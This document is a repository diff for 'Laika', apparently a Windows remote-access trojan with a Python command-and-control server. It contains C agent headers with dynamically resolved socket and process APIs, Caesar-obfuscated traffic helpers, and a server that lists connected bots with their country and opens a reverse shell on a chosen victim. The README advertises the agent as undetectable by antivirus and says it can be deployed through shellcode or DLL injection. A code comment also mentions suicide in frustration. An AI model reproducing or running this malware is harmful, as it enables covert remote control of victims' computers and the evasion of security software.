|
||||
typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD);
|
||||
typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||
typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
|
||||
typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
|
||||
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
||||
|
||||
typedef struct ApiList {
|
||||
Tconnect connect;
|
||||
Tsocket socket;
|
||||
Tsend send;
|
||||
Trecv recv;
|
||||
Tclosesocket closesocket;
|
||||
Thtons htons;
|
||||
Tinet_addr inet_addr;
|
||||
TWSAStartup WSAStartup;
|
||||
TWSAGetLastError WSAGetLastError;
|
||||
|
||||
Tmemset memset;
|
||||
Tmalloc malloc;
|
||||
Tfree free;
|
||||
Tstrncmp strncmp;
|
||||
|
||||
TReadFile ReadFile;
|
||||
TWriteFile WriteFile;
|
||||
TCloseHandle CloseHandle;
|
||||
TGetLastError GetLastError;
|
||||
TCreatePipe CreatePipe;
|
||||
TWaitForSingleObject WaitForSingleObject;
|
||||
TSleep Sleep;
|
||||
TCreateThread CreateThread;
|
||||
TTerminateThread TerminateThread;
|
||||
TCreateProcessW CreateProcessW;
|
||||
TTerminateProcess TerminateProcess;
|
||||
TFreeLibrary FreeLibrary;
|
||||
TGetProcAddress GetProcAddress;
|
||||
|
||||
Tmbstowcs mbstowcs;
|
||||
} API;
|
||||
|
||||
void InitApis();
|
||||
void FreeApis();
|
||||
43
Laika/utils.c
Normal file
43
Laika/utils.c
Normal file
@@ -0,0 +1,43 @@
|
||||
#include "utils.h"
|
||||
const int _fltused = 0; //fuck linker errors, all my homies hate CRT
|
||||
extern API Api;
|
||||
|
||||
void Message() {
|
||||
if (1 == 3) {
|
||||
int msgboxID = MessageBox(
|
||||
NULL,
|
||||
(LPCWSTR)L"Hello this is a message box",
|
||||
(LPCWSTR)L"Hello !",
|
||||
MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#define KEY 5
|
||||
char* CAESAR(char* in) {
|
||||
for (size_t i = 0; i < strlen(in); i++) {
|
||||
in[i] += KEY;
|
||||
}
|
||||
|
||||
return in;
|
||||
}
|
||||
|
||||
char* CAESAR_DECRYPT(char* in) {
|
||||
for (size_t i = 0; i < strlen(in); i++) {
|
||||
in[i] -= KEY;
|
||||
}
|
||||
|
||||
return in;
|
||||
}
|
||||
|
||||
void Sleep_(int time_to_wait) {
|
||||
/*
|
||||
C'est la derni<6E>re fonction qu'il reste <20> faire j'en ai marre du no CRT
|
||||
et de devoir bypass les AV je vais me suicider il me reste le dropper
|
||||
<09> faire dans les m<>mes conditions.
|
||||
*/
|
||||
return;
|
||||
Api.Sleep(time_to_wait * 1000); //TOFIX
|
||||
|
||||
return;
|
||||
}
|
||||
10
Laika/utils.h
Normal file
10
Laika/utils.h
Normal file
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include "resolve_apis.h"
|
||||
|
||||
char* CAESAR(char* in);
|
||||
char* CAESAR_DECRYPT(char* in);
|
||||
void Sleep_(int time_to_wait);
|
||||
void Message();
|
||||
BIN
Screenshots/Server.PNG
Normal file
BIN
Screenshots/Server.PNG
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
185
Server/Server.py
Normal file
185
Server/Server.py
Normal file
@@ -0,0 +1,185 @@
|
||||
from colorama import Fore, Style
|
||||
from prettytable import PrettyTable
|
||||
from geoip import geolite2
|
||||
from threading import Thread
|
||||
import os, sys, time
|
||||
import select
|
||||
import socket
|
||||
|
||||
ADRESSE = '192.168.1.35'
|
||||
PORT = 1337
|
||||
CONNECT_CLIENTS = [] #liste des sockets ouverts
|
||||
THREAD_LIST = [] #tout les threads
|
||||
CAESAR_KEY = 5
|
||||
SELECTED_CLIENT = -1
|
||||
|
||||
serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
serveur.bind((ADRESSE, PORT))
|
||||
|
||||
def CAESAR(in_s: str) -> str :
|
||||
r=""
|
||||
for c in in_s :
|
||||
try :
|
||||
r+=chr(ord(c)+CAESAR_KEY)
|
||||
except :
|
||||
r+=" "
|
||||
return r
|
||||
|
||||
def CAESAR_DECRYPT(in_s: str) -> str :
|
||||
r=""
|
||||
for c in in_s :
|
||||
try :
|
||||
r+=chr(ord(c)-CAESAR_KEY)
|
||||
except :
|
||||
r+=" "
|
||||
return r
|
||||
|
||||
def ban() :
|
||||
os.system("title Laika - 0 bots")
|
||||
os.system("cls")
|
||||
print(Fore.RED + " __ _ _ ")
|
||||
print(Fore.RED + " / / __ _ (_)| | __ __ _ ")
|
||||
print(Fore.RED + " / / / _` || || |/ // _` |")
|
||||
print(Fore.RED + "/ /___| (_| || || <| (_| |")
|
||||
print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|")
|
||||
print(Style.BRIGHT + Fore.GREEN +"Là où fini l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
|
||||
print("")
|
||||
|
||||
def on_new_client() -> None :
|
||||
while True :
|
||||
serveur.listen(1)
|
||||
client, adresseClient = serveur.accept()
|
||||
client.setblocking(0)
|
||||
CONNECT_CLIENTS.append(client)
|
||||
|
||||
def on_close_socket() -> None:
|
||||
global CONNECT_CLIENTS
|
||||
while True :
|
||||
for s in CONNECT_CLIENTS :
|
||||
try:
|
||||
# this will try to read bytes without blocking and also without removing them from buffer (peek only)
|
||||
data = s.recv(16, socket.MSG_PEEK)
|
||||
if len(data) == 0:
|
||||
CONNECT_CLIENTS.remove(s)
|
||||
except BlockingIOError:
|
||||
pass # socket is open and reading from it would block
|
||||
except ConnectionResetError:
|
||||
CONNECT_CLIENTS.remove(s) # socket was closed for some other reason
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
def update_title() -> None :
|
||||
while True :
|
||||
if SELECTED_CLIENT == -1 :
|
||||
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots")
|
||||
else :
|
||||
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT))
|
||||
time.sleep(2)
|
||||
|
||||
def recv_message(socket_object) -> bool:
|
||||
socket_object.settimeout(0.1)
|
||||
while True:
|
||||
try :
|
||||
message = socket_object.recv(4096)
|
||||
if CAESAR_DECRYPT(message.decode("latin-1")) == "Laika: session ended" :
|
||||
return False
|
||||
except socket.timeout :
|
||||
break
|
||||
if not message:
|
||||
break
|
||||
print(CAESAR_DECRYPT(message.decode("latin-1")), end="")
|
||||
if socket_object.gettimeout() == 0:
|
||||
break
|
||||
|
||||
return True
|
||||
|
||||
def main() -> None :
|
||||
global SELECTED_CLIENT
|
||||
|
||||
ban()
|
||||
|
||||
THREAD_LIST.append(Thread(target = on_new_client, args = ()))
|
||||
THREAD_LIST.append(Thread(target = on_close_socket, args = ()))
|
||||
THREAD_LIST.append(Thread(target = update_title, args = ()))
|
||||
|
||||
for t in THREAD_LIST :
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
while True :
|
||||
cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET)
|
||||
|
||||
if cmd == "help" :
|
||||
print("")
|
||||
print("help : montre ce message")
|
||||
print("clear : efface l'écran")
|
||||
print("clients : montre les clients connectés")
|
||||
print("select <ID> : sélectionne le client avec lequel intéragir")
|
||||
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
|
||||
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
|
||||
print("")
|
||||
|
||||
elif cmd == "exit" :
|
||||
for c in CONNECT_CLIENTS :
|
||||
c.close()
|
||||
sys.exit(0)
|
||||
|
||||
elif cmd == "clear" :
|
||||
ban()
|
||||
|
||||
elif cmd == "clients" :
|
||||
print("")
|
||||
x = PrettyTable()
|
||||
x.field_names = ["ID", "IP", "PORT", "PAYS"]
|
||||
|
||||
for i in range(0,len(CONNECT_CLIENTS)) :
|
||||
c = CONNECT_CLIENTS[i]
|
||||
addr = c.getpeername()[0]
|
||||
pays = ""
|
||||
match = geolite2.lookup(addr)
|
||||
|
||||
if match is not None :
|
||||
pays = match.country
|
||||
|
||||
x.add_row([i, addr, PORT, pays])
|
||||
|
||||
print(x)
|
||||
print()
|
||||
|
||||
elif "select " in cmd :
|
||||
id = cmd.replace("select ","")
|
||||
if not id.isdigit() or int(id) < 0 or len(CONNECT_CLIENTS) < 1 or int(id) > len(CONNECT_CLIENTS)-1 :
|
||||
print(f"\"{id}\" n'est pas un ID valide.")
|
||||
continue
|
||||
|
||||
SELECTED_CLIENT = int(id)
|
||||
print(f"Client numéro : {SELECTED_CLIENT} sélectionné.")
|
||||
|
||||
elif cmd == "deselect":
|
||||
if SELECTED_CLIENT == -1 :
|
||||
print("Vous n'avez aucun client sélectionné.")
|
||||
else :
|
||||
print(f"Client {SELECTED_CLIENT} déselectionné.")
|
||||
SELECTED_CLIENT = -1
|
||||
|
||||
elif cmd == "shell" :
|
||||
if SELECTED_CLIENT == -1 :
|
||||
print("Vous n'avez aucun client sélectionné.")
|
||||
continue
|
||||
|
||||
client = CONNECT_CLIENTS[SELECTED_CLIENT]
|
||||
client.send(CAESAR("shell").encode())
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
while True :
|
||||
if not recv_message(client) : break
|
||||
command = input("")
|
||||
client.send(CAESAR(command+"\n").encode())
|
||||
|
||||
print("\nSession terminée.")
|
||||
|
||||
else :
|
||||
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
|
||||
|
||||
main()
|
||||
4
Server/requirements.txt
Normal file
4
Server/requirements.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
colorama
|
||||
prettytable
|
||||
python-geoip-python3
|
||||
python-geoip-geolite2
|
||||
27
readme.md
Normal file
27
readme.md
Normal file
@@ -0,0 +1,27 @@
|
||||
# Laika
|
||||
|
||||
# Agent
|
||||
|
||||
* Petit (7ko)
|
||||
* Fait en C, sans CRT
|
||||
* x86bit
|
||||
* Modulaire (peut se déployer via shellcode/dll/pe injection/.exe)
|
||||
* Trafic chiffré
|
||||
* API resolve de manière dynamique
|
||||
* Reconnect en cas de plantage serv/autre
|
||||
* Liste de serveurs de fallback
|
||||
* FUD
|
||||
|
||||
<details open>
|
||||
<summary>TODO</summary>
|
||||
|
||||
* x64bit support
|
||||
* Custom sleep
|
||||
</details>
|
||||
|
||||
# Server
|
||||
|
||||
* Fait en Python
|
||||
* Tout beau
|
||||
|
||||

|
||||
Reference in New Issue
Block a user